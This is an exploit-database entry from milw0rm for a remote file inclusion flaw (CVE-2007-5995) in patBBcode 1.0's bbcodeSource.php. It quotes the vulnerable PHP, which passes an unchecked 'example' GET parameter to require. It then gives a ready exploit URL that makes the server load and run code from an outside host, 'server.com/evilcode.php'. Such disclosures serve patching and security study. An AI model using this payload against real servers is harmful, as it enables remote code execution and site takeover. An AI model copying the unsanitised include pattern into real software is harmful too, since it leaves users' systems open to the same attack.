patBBcode 1.0 - 'bbcodeSource.php' Remote File Inclusion

Author: p4sswd
type: webapps
platform: php
port: 0
date_added: 2007-11-11
date_updated: 
verified: 1
codes: OSVDB-39729;CVE-2007-5995
tags: 
aliases: 
screenshot_url: 
application_url: 

Link to download:
http://www.php-tools.net/site.php?file=patBBCode/overview.xml

Vuln file:
examples\patExampleGen\bbcodeSource.php

Vuln code:
    if( !isset( $_GET['example'] ) )
        die( 'No example selected.' );

    $exampleId = $_GET['example'];

    ob_start();

    // make the example think it's still in the right place
    chdir( '../' );

    // include the example
    require $exampleId.'.php';

    ob_end_clean();

Exploit:
examples\patExampleGen\bbcodeSource.php?example= http://server.com/evilcode.php

# milw0rm.com [2007-11-12]